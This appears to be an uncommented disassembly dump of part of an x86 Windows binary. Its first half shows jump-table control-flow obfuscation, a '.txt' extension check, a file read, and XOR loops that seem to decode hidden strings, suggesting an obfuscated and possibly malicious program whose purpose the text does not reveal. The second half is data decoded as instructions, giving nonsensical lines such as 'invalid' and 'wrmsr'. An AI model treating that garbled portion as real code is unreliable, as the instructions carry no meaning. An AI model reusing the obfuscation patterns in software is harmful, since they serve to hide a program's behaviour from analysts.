je 0x4282d0
inc ecx
inc eax
lea edi, [esi + 1]
cmp dh, dl
je 0x4282ca
mov esi, edi
mov ecx, edi
je 0x4282b0
mov eax, ebp
jmp 0x4282b0
xor esi, esi
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x445fa8]
movzx eax, byte [esi + 0xa]
add esi, 0xa
xor edi, edi
test al, al
je 0x428302
mov ecx, esi
nop
cmp al, 0x22
je 0x428300
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x4282f0
jmp 0x428302
mov edi, ecx
mov eax, dword [case.0x426372.161]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, edi
xor eax, esi
mov ebp, esi
not ebp
and ebp, edi
add ebp, ebp
mov edx, ebp
mov dword [esp + 0x80], eax
sub edx, eax
xor eax, eax
cmp edx, 5
setb al
jmp dword [eax*4 + 0x445fc0]
movzx eax, byte [edi - 1]
mov ecx, dword [case.0x426372.167]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
xor ecx, ecx
cmp al, 0x74
setne cl
jmp dword [ecx*4 + 0x445fd8]
xor eax, eax
cmp byte [edi - 2], 0x78
setne al
jmp dword [eax*4 + 0x445fe0]
jmp dword [0x445ff4]
xor eax, eax
cmp byte [edi - 3], 0x74
setne al
jmp dword [eax*4 + 0x445ff8]
xor eax, eax
cmp byte [edi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x446010]
mov eax, edx
inc eax
mov dword [esp + 8], eax
mov dword [esp + 4], edx
jns 0x4283aa
mov eax, 0xffffffff
jmp 0x4283b1
lea eax, [edx*2 + 2]
push eax
call fcn.0040ca10
add esp, 4
mov dword [esp + 0x10], eax
push edi
push esi
push dword [esp + 0x10]
push eax
call fcn.0040ebf0
add esp, 0x10
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
call fcn.0043e760
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446018]
mov esi, edi
jmp dword [0x446048]
push 0
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x24]
call fcn.0043ead0
add esp, 0xc
test eax, eax
setns al
mov edx, dword [esp + 0x2c]
cmp edx, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446020]
push edx
mov dword [esp + 0xc], edx
call fcn.0040ca10
add esp, 4
push 0
push dword [esp + 0xc]
mov dword [esp + 0x2c], eax
push eax
push dword [esp + 0x28]
call fcn.0043eba0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446028]
xor ecx, ecx
mov eax, dword [esp + 0x10]
jmp 0x428478
add eax, 2
test dx, dx
je 0x42848b
mov dword [esp], ecx
movzx edx, word [eax]
mov ecx, eax
cmp dx, 0x5c
je 0x428470
mov ecx, dword [esp]
jmp 0x428470
xor eax, eax
mov ecx, dword [esp]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x446030]
mov dword [esp + 0x14], edi
mov dword [esp], 0
xor eax, eax
mov edi, dword [esp + 4]
jmp 0x4284c5
mov dword [esp + 0x14], edi
sub ecx, dword [esp + 0x10]
sar ecx, 1
inc ecx
mov dword [esp], ecx
mov edi, dword [esp + 4]
mov eax, edi
sub eax, ecx
add eax, 0x1b
push eax
call fcn.0040ca10
add esp, 4
mov dword [esp + 0x18], eax
sub edi, dword [esp]
mov dword [esp + 4], edi
mov dword [esp + 0x34], 0xbcb2bc59
mov dword [esp + 0x38], 0xb947b1b6
mov dword [esp + 0x3c], 0xc21c79cc
mov dword [esp + 0x40], 0xcd38c0
mov dword [esp + 0x44], 0x36c6ce2e
mov dword [esp + 0x48], 0xc3234c4
mov dword [esp + 0x4c], 0x4a1613
mov edx, 0x28a6eb1f
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0x28a6eaeb]
mov dword [esp + 8], eax
lea edi, [edx - 0x28a6eae7]
and edi, eax
mov eax, edi
and eax, 2
mov dword [esp + 0x78], eax
mov eax, edi
or eax, 0xfffffffd
inc eax
mov ecx, edi
and ecx, 0x7d
imul ecx, eax
or edi, 2
imul edi, dword [esp + 0x78]
add ecx, dword [esp + 8]
sub ecx, edi
add ecx, edx
mov eax, ecx
and eax, 1
xor ecx, 1
lea eax, [ecx + eax*2]
mov byte [esp + edx - 0x28a6eaeb], al
inc edx
cmp edx, 0x28a6eb3b
jne 0x428520
movzx ecx, byte [esp + 0x34]
mov eax, dword [esp + 0x18]
test cl, cl
je 0x42859b
lea edx, [esp + 0x35]
mov eax, dword [esp + 0x18]
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x428590
mov byte [eax], 0
mov edx, dword [esp + 4]
test edx, edx
je 0x4285cf
add esi, dword [esp]
mov edi, edx
and edi, 3
je 0x4285d7
xor ecx, ecx
movzx edx, byte [esi]
cmp dl, 1
sbb esi, 0xffffffff
mov byte [eax + ecx], dl
inc ecx
cmp edi, ecx
jne 0x4285b2
add eax, ecx
mov edx, dword [esp + 4]
sub edx, ecx
mov ecx, eax
jmp 0x4285d7
mov ecx, eax
mov edi, dword [esp + 0x14]
jmp 0x428629
mov edi, dword [esp]
sub edi, ebp
add edi, dword [esp + 0x80]
cmp edi, 0xfffffffc
mov edi, dword [esp + 0x14]
ja 0x428629
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [esi]
cmp cl, 1
sbb esi, 0xffffffff
mov byte [eax + 2], cl
mov ebp, edx
movzx edx, byte [esi]
cmp dl, 1
sbb esi, 0xffffffff
lea ecx, [eax + 4]
mov byte [eax + 3], dl
mov edx, ebp
mov eax, ecx
add edx, 0xfffffffc
jne 0x4285ec
mov byte [ecx], 0
mov ecx, dword [esp + 0xdc]
push dword [esp + 0x2c]
push dword [esp + 0x28]
mov esi, dword [esp + 0x20]
push esi
call fcn.0040d480
mov ecx, dword [esp + 0xc]
and cl, 1
or cl, al
mov dword [esp + 0xc], ecx
jmp dword [0x446038]
push esi
call fcn.0040ca20
add esp, 4
jmp dword [0x446040]
jmp dword [0x446040]
push dword [esp + 0x24]
call fcn.0040ca20
add esp, 4
mov ebp, edi
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x34], 0x20272625
mov byte [esp + 0x38], 0
xor ecx, ecx
nop
nop
mov edx, ecx
add dl, 0x89
xor dl, byte [esp + ecx + 0x34]
add dl, 0x53
mov byte [esp + ecx + 0x34], dl
inc ecx
cmp ecx, 5
jne 0x428690
mov ecx, dword [0x449ea0]
test ecx, ecx
je 0x4286d8
mov edx, dword [esp + 0x34]
xor esi, esi
mov edi, dword [0x449ea4]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x4286d0
inc esi
cmp ecx, esi
jne 0x4286c0
jmp 0x4286d8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4286f5
mov edi, ebp
mov esi, ebp
jmp dword [0x446048]
push dword [esp + 0x10]
call fcn.0040ca20
add esp, 4
mov esi, edi
jmp case.0x426372.164
push eax
push 1
push ecx
push dword [0x449ea8]
call fcn.0043b0a0
add esp, 0x10
mov edi, ebp
mov esi, ebp
jmp dword [0x446048]
push eax
push 1
push ecx
push dword [0x449ea8]
call fcn.0043b0a0
add esp, 0x10
and bl, 1
jmp dword [0x446058]
popal
inc edx
add byte [ecx - 0x6fffbd9f], cl
popal
inc edx
add byte [eax - 0x6fffbd9f], dl
popal
inc edx
add byte [edx + 0x7c004261], dl
bound eax, qword [edx]
cdq
bound eax, qword [edx]
pop edx
arpl word [edx], ax
lodsd eax, dword [esi]
bound eax, qword [edx]
jns 0x445d95
invalid
arpl word [edx], ax
xchg dword [ebx + 0x42], esp
add byte [1672478786], cl
inc edx
add ch, bh
inc edx
add byte [edi + 0xc004263], al
inc edx
add byte [eax - 0x2ffbd9d], dh
inc edx
add al, ch
arpl word [edx], ax
fldenv [edx + eax*2]
inc ebp
inc edx
add cl, bl
inc edx
add byte [esi - 0x26ffbd95], cl
inc edx
add cl, bl
imul eax, dword [edx], 0xffffffe3
inc edx
add ch, bh
inc edx
add byte [ebx], al
inc edx
add byte [0x65200042], cl
inc edx
add byte [eax], ah
inc edx
add byte [edx], ah
inc edx
add byte [eax], ah
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x71], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx - 0x40ffbd9b], ah
inc edx
add byte [edi - 0x4fffbd9b], ah
inc edx
add byte [eax - 0x40ffbd9b], dh
inc edx
add ch, cl
inc edx
add byte [ecx], dl
inc edx
add byte [esi + 0x67], ah
inc edx
add byte [ecx - 0x39ffbd99], al
imul eax, dword [edx], case.0x4264d2.26
mov bl, 0x69
inc edx
add ah, ch
inc edx
add dl, dh
inc edx
add byte [eax + 0x68], al
inc edx
add byte [eax + ebp*2 + 0x68400042], cl
inc edx
add byte [edi - 0x52ffbd97], al
push 0x69870042
inc edx
add bh, bl
insd dword es:[edi], dx
inc edx
add byte [edi + 0x13004269], al
outsb dx, byte [esi]
inc edx
add byte [eax], al
outsb dx, byte [esi]
inc edx
add byte [ecx], bh
outsb dx, byte [esi]
inc edx
add ch, bh
outsb dx, byte [esi]
inc edx
add byte [ebp - 0x7fffbd92], dl
outsb dx, byte [esi]
inc edx
add ah, al
outsb dx, byte [esi]
inc edx
add byte [edx + 0x6100426f], ah
outsd dx, dword [esi]
inc edx
add byte [eax + 0x4000426f], dl
outsd dx, dword [esi]
inc edx
add byte [eax - 0x6fffbd91], dl
outsd dx, dword [esi]
inc edx
add byte [edx - 0x6fffbd91], dl
outsd dx, dword [esi]
inc edx
add byte [edx + 0x5000426f], ah
outsd dx, dword [esi]
inc edx
add byte [eax - 0x3dffbd91], dh
outsd dx, dword [esi]
inc edx
add byte [esi + 0x70], cl
inc edx
add byte [eax + 0x70], bl
inc edx
add byte [edx], ch
jno 0x445e85
add byte [eax], al
outsb dx, byte [esi]
inc edx
add byte [eax + 0x71], al
inc edx
add byte [eax + 0x71], al
inc edx
add byte [eax], al
outsb dx, byte [esi]
inc edx
add byte [eax + 0x71], al
inc edx
add byte [ecx + ebp*2 + 0x69b30042], dl
inc edx
add byte [ebx - 0x39ffbd97], bh
imul eax, dword [edx], case.0x4264d2.69
sub byte [edx + 0x42], 0
sub byte [edx + 66], 0
sub byte [edx + 66], 0
sub byte [edx + 66], 0
sub byte [edx + 66], 0
xchg esp, eax
push 66
add byte [edx + 0x2100426a], bl
push 0x42
add byte [ecx], ah
imul eax, dword [edx], 0x2e
imul eax, dword [edx], 0x70
jno 0x445ed5
add byte [eax + 0x71], dh
inc edx
add byte [eax + 0x71], dh
inc edx
add byte [ecx + esi*2 + 0x10042], bl
add byte [eax], al
add dword [eax], eax
add byte [eax], al
sbb esi, dword [ebx + 0x42]
add byte [ecx], al
add byte [eax], al
add byte [0x85004275], ch
jne 0x445ef5
invalid
test dword [ebp + 0x42], esi
jne 0x445ef5
add byte [ebp + 0x36004275], al
add byte [esi], dh
jne 0x445efd
add byte [edi + 0x75], bl
inc edx
add byte [ecx + 0x1000427f], cl
ja 0x445f09
add byte [eax + 0x3000427b], dl
ja 0x445f11
add byte [eax + 0x77], al
inc edx
add byte [eax + 0x77], al
inc edx
ja 0x445f19
add byte [eax + 0x77], al
inc edx
add byte [ebx + 0x77], cl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + 0x6f00427f], ch
jnp 0x445f35
add byte [ecx + 0x77], dh
inc edx
ja 0x445f39
add byte [edi + 0x77], dh
inc edx
ja 0x445f3d
add byte [eax - 0x6fffbd89], dl
ja 0x445f45
ja 0x445f41
add byte [eax - 0x5affbd89], dl
ja 0x445f49
add byte [ebp + 0x6f004277], ah
add byte [edi + 0x7b], ch
inc edx
jnp 0x445f4d
add byte [ebp + 0x6004277], dh
jp 0x445f55
add byte [edx], bl
jp 0x445f59
add byte [edi], cl
jnp 0x445f5d
add byte [eax], bl
jnp 0x445f61
add byte [edi], bh
jnp 0x445f65
add byte [edx + edi*2], dl
inc edx
add byte [eax + 0x7b], ah
inc edx
add byte [eax + 0x7b], dl
inc edx
push eax
jnp 4480881
add byte [edi + 0x7b], ch
inc edx
add byte [eax + 0x7b], ah
inc edx
jnp 0x445f79
add byte [eax + 0x7b], bh
inc edx
jnp 0x445f7d
add byte [eax + 0x2000427b], dl
jnp 0x445f81
add byte [eax], ah
jg 0x445f85
add byte [eax - 0x76ffbd82], dh
jle 0x445f89
add byte [ecx - 0x4fffbd81], cl
jg 0x445f8d
add byte [eax - 0x5fffbd82], dh
jnp 0x445f95
jle 0x445f91
add byte [eax - 0x7fffbd85], ah
add byte [eax + 0x7000427e], al
jle 0x445f99
add byte [eax + 0x75], dh
inc edx
jne 0x445f9d
add al, dl
jnp 0x445fa1
add byte [esi + edi*2 + 0x42], bl
jle 0x445fa5
add al, al
jnp 0x445fa9
add byte [esi + 0x7e], ch
inc edx
add byte [eax + 0x75], dh
inc edx
add byte [ecx - 0x6fffbd82], bl
jle 0x445fb9
jle 0x445fb5
add byte [eax - 0x6fffbd82], dl
add byte [eax + 0x7000427e], dl
jle 0x445fbd
add byte [eax + 0x75], dh
inc edx
jne 0x445fc1
add byte [esi*2 + 0x75500042], bh
jne 0x445fc5
add byte [eax + 0x75], dl
jne 0x445fc9
inc edx
add byte [edi + 0x75], bl
inc edx
jne 0x445fcd
add byte [eax + 0x75], dl
inc edx
jne 0x445fd1
add byte [0x2e004281], cl
add dword [edx], case.0x426372.152
mov eax, dword [0x57004281]
add dword [edx], case.0x426372.153
push edi
add dword [edx], case.0x426372.154
pop dword [ecx - 0x7deaffbe]
inc edx
add al, ah
add dword [edx], case.0x426372.155
adc eax, 0xe0004282
add dword [edx], case.0x426372.156
add byte [edx], 0xe0
loopne 0x445f2c
add byte [edx], 0x8f
add dword [edx], case.0x426372.159
adc byte [ebx - 0x7cedffbe], al
inc edx
add byte [eax], dl
inc edx
add byte [edi + 0x10004281], cl
add dword [edx], 0x10
add dword [edx], 0x12
add dword [edx], 0x10
add dword [edx], 0x38
add dword [edx], 0x30
add byte [edx], 0x50
add dword [edx], 0x50
add dword [edx], 0x52
add dword [edx], 0x50
add dword [edx], 0x60
add dword [edx], 0x30
add byte [edx], 0x70
add dword [edx], 0x30
add byte [edx], 0x70
add dword [edx], 0x70
add dword [edx], 0x70
add dword [edx], 0x76
add dword [edx], 0xffffff86
add dword [edx], 0x30
add byte [edx], 1
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x69ffbd7d], al
add dword [edx], 0x30
add byte [edx], 0xf3
add dword [edx], 0xfffffffb
add dword [edx], 0x79
xchg byte [edx], al
sub al, 0x84
jns 0x445fa8
inc edx
add byte [esp + eax*4], ch
inc edx
add byte [edi - 0x7a], ah
inc edx
add byte [esp + eax*4 + 0x42], bl
add byte [esp + eax*4 - 0x7b50ffbe], bl
inc edx
add byte [eax - 0x7a], bl
inc edx
add byte [edi - 0x7a], ah
inc edx
add byte [ebp - 0x7a], ch
inc edx
add byte [ecx - 0x7a], bh
inc edx
add dl, ah
xchg byte [edx], al
xor byte [edx - 0x7e6affbe], al
inc edx
add byte [ecx + 0x15004281], ah
add dword [edx], case.0x426372.202
mov bh, 0x97
inc ebp
add byte [ecx], dl
cwde
inc ebp
add byte [edi - 0x50ffba69], ch
xchg edi, eax
inc ebp
add byte [eax + ebx*4 - 0x65acffbb], cl
inc ebp
add byte [ecx - 0x32ffba66], dl
lcall 0x45, 0x9ad60045
jl 0x446020
inc ebp
add cl, bh
mov ecx, 0x9ad60045
inc ebp
add dh, dl
lcall 0x45, 0x9a4e0045
mov word [ebp + eax*2 + 0x459c8a00], ds
add byte [edi + 0x58004598], al
sahf
inc ebp
add bh, al
popfd
inc ebp
add cl, cl
sahf
inc ebp
add byte [ebp - 0x5f], ah
inc ebp
add byte [eax - 0x5f], ah
inc ebp
add dh, dl
test al, 0x45
add dh, dl
test al, 0x45
add byte [ecx + ebp*4], ah
inc ebp
add byte [edx - 0x7dffba46], al
mov edx, 0xa9e40045
inc ebp
add byte [ecx + ebp*4 + 0x45], dl
add byte [ecx + ebp*4 + 0x45], dl
add byte [ecx + ebp*4 + 0x45], dl
add byte [ecx + ebp*4 + 0x45], dl
add byte [edx - 0x57], ch
inc ebp
add byte [edx - 0x57], ch
inc ebp
add byte [eax], ah
stosb byte es:[edi], al
inc ebp
add byte [ecx - 0x7effba57], cl
stosb byte es:[edi], al
inc ebp
add byte [eax + ebp*4 - 0x5538ffbb], dh
inc ebp
add dh, bl
stosb byte es:[edi], al
inc ebp
add bl, dh
stosb byte es:[edi], al
inc ebp
add byte [eax + ebp*4], bl
inc ebp
add bl, dh
stosb byte es:[edi], al
inc ebp
add byte [edx + 0x740045ba], al
scasb al, byte es:[edi]
inc ebp
add byte [edi - 0x70ffba52], cl
scasb al, byte es:[edi]
inc ebp
add ah, al
scasb al, byte es:[edi]
inc ebp
add cl, ah
scasb al, byte es:[edi]
inc ebp
add byte [esi], al
mov al, 0x45
add byte [eax + esi*4], ah
inc ebp
add byte [eax + esi*4], dh
inc ebp
add byte [eax + esi*4], dh
inc ebp
add byte [eax + esi*4], dh
inc ebp
add byte [ecx - 0x50], cl
inc ebp
add byte [ecx - 0x50], cl
inc ebp
add bh, bh
mov al, 0x45
add dh, dh
mov al, 0x45
add byte [ecx + esi*4], bh
inc ebp
add byte [ecx], bh
mov dl, 0x45
add byte [ebx - 0x4e], dh
inc ebp
add ch, al
mov dl, 0x45
add ch, al
mov dl, 0x45
add ch, al
mov dl, 0x45
add ch, dh
mov dl, 0x45
add ah, ah
mov dl, 0x45
add byte [esi - 0x4d], bh
inc ebp
add byte [edi + 0x7e0045b2], ah
mov bl, 0x45
add byte [edx - 0x4f], dh
inc ebp
add bh, dl
mov cl, 0x45
add byte [esi], ch
mov dl, 0x45
add byte [esi - 0x4d], bh
inc ebp
add byte [esi + esi*4 + 0x45], bh
add byte [ecx - 0x4a], dh
inc ebp
add al, ch
mov ecx, 0xb9f10045
inc ebp
add byte [edx - 0x46], al
inc ebp
add byte [ecx + ebp*4 + 0x45], dl
add byte [eax + esi*4], ah
inc ebp
add byte [eax + esi*4], dh
inc ebp
add byte [edi - 0x65ffba4f], al
and cl, byte [eax]
sub al, 0x48
add byte [eax + 0x6500482f], bl
daa
dec eax
add byte [ebx + 0x48], ch
add byte [esi + 0x8004840], cl
cmp al, 0x48
add al, bl
xor ecx, dword [eax]
wrmsr
dec eax
add byte [esi + 0x37004828], dh
and ecx, dword [eax]
dec edx
inc eax
dec eax
add dl, dh
xor eax, 0x2c9d0048
dec eax
add byte [ecx + 0x3d], bh
dec eax
add byte [eax - 0x4effb7c5], ah
xor ecx, dword [eax]
pop edi
dec eax
add dl, bl
and cl, byte [eax]
cmp ebp, dword [edi]
dec eax
add byte [edx], ah
dec eax
add ah, al
sub al, 0x48
add byte [ebx + esi + 0x48], bh
add byte [ecx + 0x3b], bh
dec eax
add byte [ecx + 0x36], dl
dec eax
add byte [eax + ebp + 0x48], bl
add byte [edx + 0x3b], dl
dec eax
add byte [edi + 0x2c], ch
dec eax
add byte [edi + ebp + 0x48], ah
add byte [edx + 0x4e004828], cl
cmp eax, 0x31c70048
dec eax
add dl, bh
dec eax
add byte [edi + 0x36], bh
dec eax
add byte [eax], ah
dec eax
add dl, al
das
dec eax
add byte [0xea004828], dh
dec eax
add bh, dl
daa
dec eax
add ch, cl
cmp eax, 0x3abb0048
dec eax
add dh, cl
cmp ecx, dword [eax]
sbb al, 0x27
dec eax
add bl, al
dec eax
add byte [edi + 0x3e], bh
dec eax
add byte [eax + 0x40], bh
dec eax
add byte [ebx], dl
xor cl, byte [eax]
movaps xmm1, xmmword [eax]
cmpsd dword [esi], dword es:[edi]
cmp eax, 0x3a910048
dec eax
add ah, dh
cmp eax, 0x410e0048
dec eax
add byte [0xfa00483b], al
xchg ecx, eax
inc ebp
add cl, cl
nop
inc ebp
add byte [edx], bh
mov eax, dword [ebp]
inc edx
mov word [ebp], es
ljmp 0x4591